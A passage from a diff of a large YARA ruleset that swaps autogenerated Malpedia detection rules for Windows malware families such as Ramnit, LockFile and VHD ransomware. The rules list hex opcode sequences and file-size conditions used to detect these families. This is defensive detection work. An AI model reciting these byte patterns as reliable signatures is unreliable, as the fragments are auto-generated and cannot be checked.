"f77792066de7c23219a214fc531000b7de62e743dbb704f0fcc9770a904b8873" + logic_hash = "1f8986d8ff44bcaea791aed8e9d7780e6a84fb5d73ce994c684beebfa03d07bc" score = 75 quality = 75 tags = "FILE" @@ -110480,32 +110584,38 @@ rule MALPEDIA_Win_Frozenhill_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8be5 5d c3 1b9b0e10769b 0e 10d1 9b } - $sequence_1 = { ff7508 8d85c8f7ffff 50 ff15???????? 3bf4 } - $sequence_2 = { 8d85f4feffff 3985e8feffff 7436 8b85e8feffff 0fbe08 83f95c 7428 } - $sequence_3 = { 05???????? 50 e8???????? 83c404 ebda 5f 5e } - $sequence_4 = { f3ab a1???????? 33c5 8945fc b9???????? e8???????? 6a73 } - $sequence_5 = { 8bf4 8b4508 8b4808 51 8b55f8 81c2300c0000 52 } - $sequence_6 = { 8bf4 8d85f0fdffff 50 6804010000 ff15???????? 3bf4 } - $sequence_7 = { b874000000 66894586 b85c000000 66894588 b857000000 6689458a b869000000 } - $sequence_8 = { 5b 8b4df0 33cd e8???????? 81c480030000 } - $sequence_9 = { 8945fc b9???????? e8???????? c745f400000000 c745e800000000 c745dc00000000 c745d000000000 } + $sequence_0 = { 0108 833e00 7c1f 8b542410 } + $sequence_1 = { 0105???????? 81c3b0020000 2945e0 75ae 837dd400 } + $sequence_2 = { 0105???????? 83c410 29442418 75a9 } + $sequence_3 = { 0108 833e00 7fc7 db46fc } + $sequence_4 = { 0105???????? 83c410 29442420 75aa } + $sequence_5 = { 0108 833a00 7c23 8b442428 } + $sequence_6 = { 51 8d951cffffff 52 eb2b 8b4d20 } + $sequence_7 = { 0108 833e00 7cc7 7e39 } + $sequence_8 = { 66ab aa 8b3d???????? 8d85f0feffff 56 } + $sequence_9 = { ffd7 53 56 ff15???????? 6a02 53 56 } + $sequence_10 = { ff15???????? ff45fc 817dfc88130000 7cb7 } + $sequence_11 = { c645d205 c645d337 c645d418 c645d51d c645d614 c645d722 } + $sequence_12 = { e8???????? ff75fc 8945f8 53 50 e8???????? } + $sequence_13 = { 57 ffd6 a3???????? 6a71 8d45d0 } + $sequence_14 = { c645b816 c645b927 c645ba30 c645bb34 c645bc21 c645bd30 } + $sequence_15 = { 8d45c4 885dcf 50 57 } condition: - 7 of them and filesize < 2652160 + 7 of them and filesize < 1040384 } -rule MALPEDIA_Win_Bee_Auto : FILE +rule MALPEDIA_Win_Tropidoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a6f6643e-0c7d-5aa3-acb3-5d655dc4ed63" + id = "8fc3955f-94d9-559f-8d24-ed4a0dad546e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bee" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bee_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tropidoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tropidoor_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "d470260abf875100cc9eec94a5fc9a99328d8a9951c079ae2b41e9596561de11" + logic_hash = "0cca80e99bb2477fcd1d7242d291a5d298649d488754cf8d2858779b90f27265" score = 75 quality = 75 tags = "FILE" @@ -110519,32 +110629,32 @@ rule MALPEDIA_Win_Bee_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? c706???????? 895618 6689461c 66894e1e ff15???????? } - $sequence_1 = { 3bee 7462 8a46b4 83ee50 83ef50 884704 } - $sequence_2 = { 83c404 8b8534ffffff 8d0cb6 8d1492 c1e104 03c8 } - $sequence_3 = { b8???????? e8???????? 8b15???????? 3bd3 7504 33c9 } - $sequence_4 = { ebc9 8bc8 c1f905 8d1c8d00534200 8bf8 83e71f c1e706 } - $sequence_5 = { ffd0 8b4c2410 64890d00000000 59 5f 5e 83c410 } - $sequence_6 = { e8???????? 83c404 8b4e7c 51 899e88000000 899e8c000000 899e90000000 } - $sequence_7 = { 50 8d4c2438 51 8d4c2444 } - $sequence_8 = { 8d442440 64a300000000 8bf9 833d????????10 a1???????? } - $sequence_9 = { 7639 0fb654240c 0fb644240d 0fb6c9 034c2414 03c2 } + $sequence_0 = { 488b8d88010000 488b01 ff5010 488b8d80010000 e9???????? 6644897508 897510 } + $sequence_1 = { ff15???????? 0fb74c2420 b8b2070000 663bc8 731a ba01000000 } + $sequence_2 = { 488d9520020000 498bcf e8???????? 4d8b8598000000 4d85c0 0f84a2000000 ba04010000 } + $sequence_3 = { ffd0 85c0 7564 8b459c 83c0fe 413bc5 7725 } + $sequence_4 = { 488bcb ff15???????? 418bc4 4883c470 415e 415c 5f } + $sequence_5 = { ff15???????? e9???????? 8b542478 4c8d8510050000 c744243002000000 488d8db0000000 897c2428 } + $sequence_6 = { 33d2 41b801010000 e8???????? 418bc6 4d8d4c2410 4c8d1d75920300 41be04000000 } + $sequence_7 = { 83ff01 0f85d2000000 84c0 740a 458b949b3cb90a00 eb08 458b949b04b90a00 } + $sequence_8 = { 8b8c8220060200 4803ca ffe1 488b4c2430 418bc4 488b0cc1 48894c2458 } + $sequence_9 = { 4c8d4d40 4c8d052b630900 488d4db0 e8???????? 48897de0 488d45d0 4983fd10 } condition: - 7 of them and filesize < 394240 + 7 of them and filesize < 1826816 } -rule MALPEDIA_Win_Pitou_Auto : FILE +rule MALPEDIA_Win_Vhd_Ransomware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f9c8da4e-505e-547b-8240-9df48ee9f72d" + id = "0a8c66bf-eb2b-583f-b44b-433c73c780b6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pitou_auto.yar#L1-L112" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vhd_ransomware_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "c7a5a733d5fc2416ed190ff88c1bcfd8fd875daba5df81cd77a3f96c787c1800" + logic_hash = "dae74c2bc008a70be0fd9b501245d9759dea529e108a1bf96ef7d1de1daf70f9" score = 75 quality = 75 tags = "FILE" @@ -110558,32 +110668,32 @@ rule MALPEDIA_Win_Pitou_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bda c1e305 03c3 8bda } - $sequence_1 = { ac 8bda c1e305 03c3 8bda c1eb02 } - $sequence_2 = { 33c0 ac 8bda c1e305 03c3 } - $sequence_3 = { c1e305 03c3 8bda c1eb02 03c3 } - $sequence_4 = { 8a6201 80f457 8acc 80e103 } - $sequence_5 = { 8bda c1e305 03c3 8bda c1eb02 } - $sequence_6 = { 33c0 ac 8bda c1e305 } - $sequence_7 = { 8acc 80e103 8aec c0ed03 } - $sequence_8 = { 8a6201 80f457 8acc 80e103 8aec c0ed03 80e507 } - $sequence_9 = { 80e703 c0eb05 80e303 80ff00 } + $sequence_0 = { f3ab 8b8530030000 8902 33c0 89a54cf3ffff 398530030000 7e1b } + $sequence_1 = { e8???????? 81c44c060000 80bd7ff6ffff00 7424 8bb574f6ffff 8d8dd0fcffff } + $sequence_2 = { 33d3 8b5df4 0fb69b98744100 0fb61c9d9b854100 33d3 8b5df8 } + $sequence_3 = { 785b 8d74ba04 8b4e04 33c0 33db 0306 13cb } + $sequence_4 = { 83c8ff 5d c3 6a08 68???????? e8???????? e8???????? } + $sequence_5 = { 33c0 b9c8000000 8d7a04 f3ab 8b8dd0fcffff 890a 85c9 } + $sequence_6 = { 8945cc bf40000000 b8???????? 8d75e0 895dc8 c745f40f000000 c745f000000000 } + $sequence_7 = { 8bd8 899d28b4ffff 83fbff 0f8430010000 8b4510 8b4d0c 50 } + $sequence_8 = { 398530030000 7e14 8d4a04 8bb48534030000 8931 40 83c104 } + $sequence_9 = { 03c2 13ce 33d2 52 8b95f4efffff 52 51 } condition: - 7 of them and filesize < 1106944 + 7 of them and filesize < 275456 } -rule MALPEDIA_Win_Snojan_Auto : FILE +rule MALPEDIA_Win_Mrac_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9f201807-eca2-5671-8fb1-4c54ce96e5b1" + id = "8e787bb3-4d81-533a-b44d-f20be9e2f442" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snojan_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mrac_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "1d25311cfd419aa863c883b495c4bbb0986a7541ebe6286749992456a12c9723" + logic_hash = "5fe94aec6f3ba68621e3ca20e2c4449488e4dd8245ed859f8a76ad9159490f6c" score = 75 quality = 75 tags = "FILE" @@ -110597,71 +110707,71 @@ rule MALPEDIA_Win_Snojan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d442bfc c744240804000000 c7442404???????? 890424 } - $sequence_1 = { 81c43c900100 31c0 5b 5e 5f } - $sequence_2 = { 8b4dc0 6689810000986d 83c30c 81fb???????? 0f8285feffff e9???????? } - $sequence_3 = { 83f8ff 0f8452010000 c7442404???????? c70424???????? e8???????? 85c0 89c6 } - $sequence_4 = { 31db eb02 89c3 8d4301 8b14859026986d 85d2 } - $sequence_5 = { e8???????? 29c4 c744240806000000 c744240401000000 c7042402000000 ff15???????? 83ec0c } - $sequence_6 = { 85c9 0f84c3feffff e9???????? 0fb7810000986d 894dc0 89c7 } - $sequence_7 = { 56 53 e8???????? 29c4 c744240806000000 c744240401000000 c7042402000000 } - $sequence_8 = { 7421 85db 740c ff149d9026986d 83eb01 75f4 } - $sequence_9 = { b8???????? e8???????? 85c0 74e9 a1???????? 8b988000986d } + $sequence_0 = { e8???????? 8bc8 e8???????? c78424780600001e000000 c684247c0600006a c684247d0600007f c684247e0600006d } + $sequence_1 = { 8bde 83e03f c1fb06 6bc830 8b049d804b4500 894dfc 837c0118ff } + $sequence_2 = { e8???????? 0420 8d8c2434040000 6a35 8884244f040000 e8???????? } + $sequence_3 = { 040f 3476 888424ef040000 8b8424dc040000 0410 3463 888424f0040000 } + $sequence_4 = { 8b4df0 8b048d804b4500 f644382848 741c 8a55ff 80fa0a 7504 } + $sequence_5 = { e8???????? c68424c813000076 c68424c91300006d c68424ca1300007c 8d8c24c8130000 c68424cb13000028 c68424cc1300007b } + $sequence_6 = { 8a840d6cffffff 2c0a 88840d6cffffff 41 83f909 72ea 68eeeac01f } + $sequence_7 = { 8bf0 c645e57d c645e675 c645e74a c645e86d c645e973 c645ea7e } + $sequence_8 = { 8d8c2458090000 88842466090000 e8???????? 3453 8d8c2454090000 6a0c 88842467090000 } + $sequence_9 = { c68424ce0e000049 c68424cf0e000056 c68424d00e000006 c68424d10e00006b c68424d20e000075 c68424d30e000075 c68424d40e000077 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 745472 } -rule MALPEDIA_Win_Unidentified_102_Auto : FILE +rule MALPEDIA_Win_Fonix_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "68f5ede2-e772-5b9c-86c7-72da7d6ddaff" - date = "2023-07-11" - modified = "2023-07-15" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_102_auto.yar#L1-L130" + id = "830a78fe-5e83-5a5d-85e3-7068b4a16c64" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fonix_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "7cf959abf8b06a75a101a66334f27ae5601df812c1ddb140fd9298ef735bb0dc" + logic_hash = "f38caf2a92a21c38ad3b20bd93c5f2960092d1cc56de1072c080f008b7483511" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20230705" - malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" - malpedia_version = "20230715" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6bd238 8b0c8d187b0410 88441129 8b0b 8bc1 c1f806 } - $sequence_1 = { 83c408 8bb5e8fdffff 8dbdd8fdffff 83bdecfdffff10 c745b000000000 0f43bdd8fdffff } - $sequence_2 = { 8bf3 6bf938 c1fe06 6a00 8b0cb5187b0410 ff740f24 } - $sequence_3 = { 894610 c7461407000000 668906 e9???????? 837f1410 8bcf 7202 } - $sequence_4 = { c785e4fbffff07000000 8d5102 668985d0fbffff 6690 668b01 83c102 6685c0 } - $sequence_5 = { 8d85e8e7ffff 68???????? 50 ff15???????? 83c410 8d8594e7ffff 50 } - $sequence_6 = { 0f1085b0fcffff 0f1100 8bc4 0f108590fcffff 51 0f1100 ff5228 } - $sequence_7 = { 83c408 8b95dcfeffff 83fa10 722f 8b8dc8feffff 42 8bc1 } - $sequence_8 = { 6a00 68???????? 6802000080 c785c8e7ffff3f000f00 ff15???????? 85c0 0f84ef000000 } - $sequence_9 = { 8d45f4 64a300000000 8965f0 8b4510 8b4d18 8b5d0c } + $sequence_0 = { a801 8b04d560b74900 8b14d564b74900 7506 83c002 83ea02 5d } + $sequence_1 = { 59 59 8b471c 89461c 8bc6 5f } + $sequence_2 = { c645fc18 8d4dc4 8bd0 c70424???????? e8???????? 59 8d8d44fcffff } + $sequence_3 = { 8b16 50 ff5220 e9???????? e8???????? 8b75ac 83c404 } + $sequence_4 = { 8985a0f8ffff 0f85c5fcffff 8b8d8cf8ffff 85c9 0f84d3000000 8b048d2cdc4900 89858cf8ffff } + $sequence_5 = { 50 8d8de0feffff e8???????? 8d8dc8feffff e8???????? 8d8db0feffff e8???????? } + $sequence_6 = { 50 c745fc01000000 ff5248 ffb578ffffff 8d4e4c e8???????? ff7620 } + $sequence_7 = { 83e3fe e8???????? 807d6700 0f8413010000 6a01 8d4dac e8???????? } + $sequence_8 = { 8b45fc 0580000000 c5fe7f00 c5fe6f8560feffff c4e37d46458031 c5fe7f8580e5ffff c5fe6f8580e5ffff } + $sequence_9 = { 0f849c050000 6a01 8d8d50020000 e8???????? 6a01 8d4d8c c645fc0c } condition: - 7 of them and filesize < 626688 + 7 of them and filesize < 2226176 } -rule MALPEDIA_Win_Malumpos_Auto : FILE +rule MALPEDIA_Win_Powershellrunner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cd78d99d-ded9-59a9-a898-9ec39f928aa5" + id = "6a02b05b-5544-5fd8-bda1-2b73877e66ff" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.malumpos_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powershellrunner_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "29cfae31eaa84f0f9fcc3ec276520376ec4d5f40c7104f5c7188971142f1d819" + logic_hash = "150515a586587c1b339d21af473c6cacdf2854e2b8551085b1787b23d2cc9d35" score = 75 quality = 75 tags = "FILE" @@ -110675,32 +110785,32 @@ rule MALPEDIA_Win_Malumpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b450c 3b38 731e 8bd9 } - $sequence_1 = { 59 56 8bf3 5e 56 } - $sequence_2 = { 8db408f8000000 8b4608 894568 3bc3 0f84d9000000 } - $sequence_3 = { 5a 66a9a02f fc f5 a1???????? 8b4015 6a04 } - $sequence_4 = { 5e 6685db 55 80c400 5d 56 } - $sequence_5 = { 59 7405 0d00000000 80ec00 } - $sequence_6 = { e8???????? 68???????? a3???????? ffd0 810d????????00200000 be???????? } - $sequence_7 = { 50 ff35???????? ff15???????? 817d6003010000 } - $sequence_8 = { 85c0 7446 8b400c 56 8b700c 68???????? 57 } - $sequence_9 = { 8d4520 50 ff15???????? 8d4520 } + $sequence_0 = { c684243e02000036 c684243f02000014 c684244002000031 c684244102000031 } + $sequence_1 = { 488bd3 488d0d0f440200 e8???????? 33c9 85c0 480f44cb } + $sequence_2 = { 488d4c2450 e8???????? ba05000000 488d4c2448 e8???????? ba06000000 } + $sequence_3 = { b872000000 6689842452010000 b872000000 6689842454010000 b865000000 6689842456010000 } + $sequence_4 = { 8b442440 8b4c2444 03c8 8bc1 8bc8 ff15???????? 8b442424 } + $sequence_5 = { 488d4c2428 e8???????? 89442420 837c242000 7418 } + $sequence_6 = { 4889442428 eb1c 488b442420 4883c002 4889442420 488b442428 4883c002 } + $sequence_7 = { 4c8b442438 488d542420 488d4c2460 e8???????? 0fb6c0 85c0 7415 } + $sequence_8 = { 7363 488bf3 4c8d351b770100 83e63f 488beb 48c1fd06 48c1e606 } + $sequence_9 = { 488bc8 e8???????? 4c8d442440 488bd0 488b4c2448 e8???????? 488b842490000000 } condition: - 7 of them and filesize < 542720 + 7 of them and filesize < 458752 } -rule MALPEDIA_Win_Gh0Sttimes_Auto : FILE +rule MALPEDIA_Win_Ramnit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aa640a7c-0e1b-5efd-8935-4547c6b03367" + id = "e7231016-af2a-574e-9bee-456d68202102" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gh0sttimes_auto.yar#L1-L158" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramnit_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "9c8e02eeb25677ec870ad4e3ac6e852e1b0822d6bc7051594b5abb6da5a926f8" + logic_hash = "a205fea822a311ab889bb108ee1640be8e7bb55400366f3eef4a7d603b69a5db" score = 75 quality = 75 tags = "FILE" @@ -110714,38 +110824,32 @@ rule MALPEDIA_Win_Gh0Sttimes_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bce 8bd6 8d85e0fdffff e8???????? 8b9dd8fdffff 56 } - $sequence_1 = { b804000000 8bcf 81f3d2b5a2c3 e8???????? } - $sequence_2 = { ff15???????? 8b5604 895608 ba00040000 } - $sequence_3 = { 894608 8b85e4fdffff 8b8de8fdffff 40 } - $sequence_4 = { 57 ff15???????? 8d443801 50 57 ff15???????? } - $sequence_5 = { 8b82ac000000 6a00 57 56 50 } - $sequence_6 = { ffd6 8b95f0fcffff 8b3d???????? 52 ffd7 68f4010000 } - $sequence_7 = { 753a 50 50 8d4d8c 51 50 } - $sequence_8 = { 488bcf e8???????? b902020000 488d542440 ff15???????? } - $sequence_9 = { 32c0 e9???????? 833d????????00 4889bc24e8000000 7412 } - $sequence_10 = { 48c747300f000000 48897728 488bcf 40887718 } - $sequence_11 = { 84c0 7515 488d8c24a0010000 e8???????? } - $sequence_12 = { 33d2 4d8b8938010000 4889442428 33c9 } - $sequence_13 = { 498d9550010000 498d8d98000000 41b804000000 e8???????? 498d8d00010000 } - $sequence_14 = { 03c2 0fb6c0 2bc2 410fb652fe } - $sequence_15 = { 48895c2408 4889742420 57 4881ecd0040000 } + $sequence_0 = { 8b7d08 b000 f2ae 8bc1 } + $sequence_1 = { 5f 59 5a 5b c9 c20800 55 } + $sequence_2 = { fd 8b4d10 8b7d0c 8b7508 f3a4 } + $sequence_3 = { 3a4510 7407 b800000000 eb02 8bc7 5a } + $sequence_4 = { ba00000000 59 5f 5e 5b c9 } + $sequence_5 = { ff7514 ff7510 e8???????? 83f800 750b 4f 3b7d08 } + $sequence_6 = { fc 8b4d0c 8b7d08 b000 f3aa } + $sequence_7 = { 52 8b4508 8b5d0c 4b 23d8 83fb00 740e } + $sequence_8 = { 8bf8 037d14 3b7df8 771f 8945fc ff7514 ff7510 } + $sequence_9 = { 8bec 83c4f8 56 57 51 53 52 } condition: - 7 of them and filesize < 548864 + 7 of them and filesize < 470016 } -rule MALPEDIA_Win_Virtualgate_Auto : FILE +rule MALPEDIA_Win_Lockfile_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9ec48095-319c-5914-b4c7-b90192caa4ab" + id = "ce8b9f2d-3289-5da5-8ae6-f5695e030c37" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virtualgate_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockfile_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "bdfea9aeb2fcf2d699fffd47ea03945e66306ca4f124485dd66c43c3284358f7" + logic_hash = "aad82c712a5f767aa5023ac75b23ae49a83688df028acae164a8fa13e666e8c1" score = 75 quality = 75 tags = "FILE" @@ -110759,32 +110863,32 @@ rule MALPEDIA_Win_Virtualgate_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 418bc4 0f47c1 89442438 ffc8 8bf8 0fb68c82029a0100 } - $sequence_1 = { 66250100 7225 0100 7e25 0100 8a25???????? } - $sequence_2 = { 48894604 b906000000 48898620020000 0fb7c0 66f3ab 488d3d18470100 482bfe } - $sequence_3 = { 85c0 0f8483000000 488d8510030000 49c7c0ffffffff 49ffc0 42383400 } - $sequence_4 = { 488d15263d0100 e8???????? 8bcb 4885c0 740c } - $sequence_5 = { 488d0d30ecfeff 4c8945e7 4d03e8 48895df7 4c8be3 4c896db7 } - $sequence_6 = { 85c0 0f8403010000 488d0566080100 4a8b04e8 42385cf838 0f8ded000000 } - $sequence_7 = { 48895c2408 57 4883ec20 488d1d8fc60100 488d3d88c60100 } - $sequence_8 = { f30f6f0f 4883f80e 7773 8b848634270100 4803c6 } - $sequence_9 = { 4b8b8ce0f0250200 4803ca 48ffc2 468854f13e } + $sequence_0 = { 48f76328 498d0c00 488b4630 493bc8 4883d200 4c03e2 488955f7 } + $sequence_1 = { 48896c2418 56 4156 4157 4883ec30 498be9 4d8bf0 } + $sequence_2 = { c784249000000002000000 4c8bc7 488bd7 488d4c2420 e8???????? 90 4c8d4318 } + $sequence_3 = { 4898 488d0d74280700 8b542438 ffc2 8bd2 4c8b442430 418b1490 } + $sequence_4 = { e8???????? cc 4057 4883ec20 488b5110 } + $sequence_5 = { 498b4348 493bc8 4883d200 4c03e2 48895587 48f76650 4c8d0401 } + $sequence_6 = { 48f76118 4c894df0 4c8bea 488d0c03 483bcb 488b5d50 4983d500 } + $sequence_7 = { 4433d5 41c1c802 4403d0 81c59979825a 4503d3 448bda 4533d8 } + $sequence_8 = { 488d059fdf0700 bf04000000 48895c2450 4c8be1 8bd7 488d4c2460 6666660f1f840000000000 } + $sequence_9 = { 418bcd 4103d4 c1c90d 448b2424 4103d0 418bc5 4403e2 } condition: - 7 of them and filesize < 323584 + 7 of them and filesize < 1163264 } -rule MALPEDIA_Win_Onionduke_Auto : FILE +rule MALPEDIA_Win_Onhat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4f0df2d9-b667-583c-9035-10a88bb5a5df" + id = "c03e9aab-ceb3-5936-af60-a6f47c0b4822" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onionduke_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onhat_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "489b57dff2d63e712188fb4627ba779c8167a75fd93d25f277ce49d9d63a93ef" + logic_hash = "2683ee8ac88dff088a6e9025d3b65f7d07e7b813a5d7aa89913a323bd3055d20" score = 75 quality = 75 tags = "FILE" @@ -110798,71 +110902,71 @@ rule MALPEDIA_Win_Onionduke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8b7510 56 894df8 } - $sequence_1 = { 8b0f 83c404 5f 8919 } - $sequence_2 = { c645fc01 bf08000000 85c0 7417 8b4dd4 } - $sequence_3 = { c20c00 8b4d08 8b11 8b4214 56 6a01 ffd0 } - $sequence_4 = { 56 e8???????? 837de808 8bf0 720c 8b4dd4 51 } - $sequence_5 = { 8a08 40 84c9 75f9 2bc2 750e } - $sequence_6 = { ffd0 8b13 894508 8b4208 56 } - $sequence_7 = { c20400 8b03 50 e8???????? 83c404 56 ff15???????? } - $sequence_8 = { 8b4dfc 33cd e8???????? 8be5 5d c20400 837df408 } - $sequence_9 = { 8b4d08 2bd0 c1fa03 3bd1 770a 68???????? e8???????? } + $sequence_0 = { c684248c00000025 c684248d00000064 c684248e00000000 ffd6 83c40c } + $sequence_1 = { c644242956 885c242a c644242b50 c644242c4f c644242d52 } + $sequence_2 = { c644242761 c644242874 88442429 c644241c4e c644241d6f c644241e48 } + $sequence_3 = { 33d2 8a542432 8acf 50 51 } + $sequence_4 = { 66ab aa 55 8d442458 6a64 50 51 } + $sequence_5 = { 89442424 0f8404020000 8b4c2414 50 } + $sequence_6 = { 33c0 5e 83c414 c3 8b4c240c 51 } + $sequence_7 = { 55 8d442458 6a64 50 51 e8???????? } + $sequence_8 = { 6689542412 e8???????? 83f8ff 7507 33c0 5e 83c410 } + $sequence_9 = { 56 e8???????? b14f 83c408 884c2411 b020 884c241a } condition: - 7 of them and filesize < 671744 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Ripper_Atm_Auto : FILE +rule MALPEDIA_Win_Unidentified_061_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8f521802-fe9f-59e3-95e4-5c6b679dd629" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ripper_atm_auto.yar#L1-L129" + id = "59888b60-a3e6-5e9f-a441-429646fe0731" + date = "2023-07-11" + modified = "2023-07-15" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_061" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_061_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "20a25cf7a57e29f6fcd47218cda1c983413d86161c6d93b073b8fbc3d2b6ce43" + logic_hash = "ee3ce5b6c77f09c690f7a934c26be09c58c4fcdee70275b61c00e527d8aa097d" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20230705" + malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" + malpedia_version = "20230715" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 8bcc 89a57cfdffff 68???????? e8???????? } - $sequence_1 = { 2bc1 99 c745f818000000 f77df8 83c410 8945e8 85c9 } - $sequence_2 = { c7470411000000 897708 89770c 897710 c707???????? } - $sequence_3 = { c3 55 8bec 8b0d???????? 8b15???????? 8bc1 2bc2 } - $sequence_4 = { 8b4f3c 50 e8???????? 8b4f3c ff75fc 0fbec0 894744 } - $sequence_5 = { 7516 8b7708 8b4610 3b02 0f8d8e000000 ff7514 } - $sequence_6 = { 8b4de8 3b4810 7d27 8b4e08 ff7514 80790d00 51 } - $sequence_7 = { 68???????? 53 ff15???????? 56 56 50 8945fc } - $sequence_8 = { 8bf9 50 e8???????? ff7518 8d45ec ff7514 8bcf } - $sequence_9 = { 7409 6aff 53 50 e8???????? be???????? 56 } 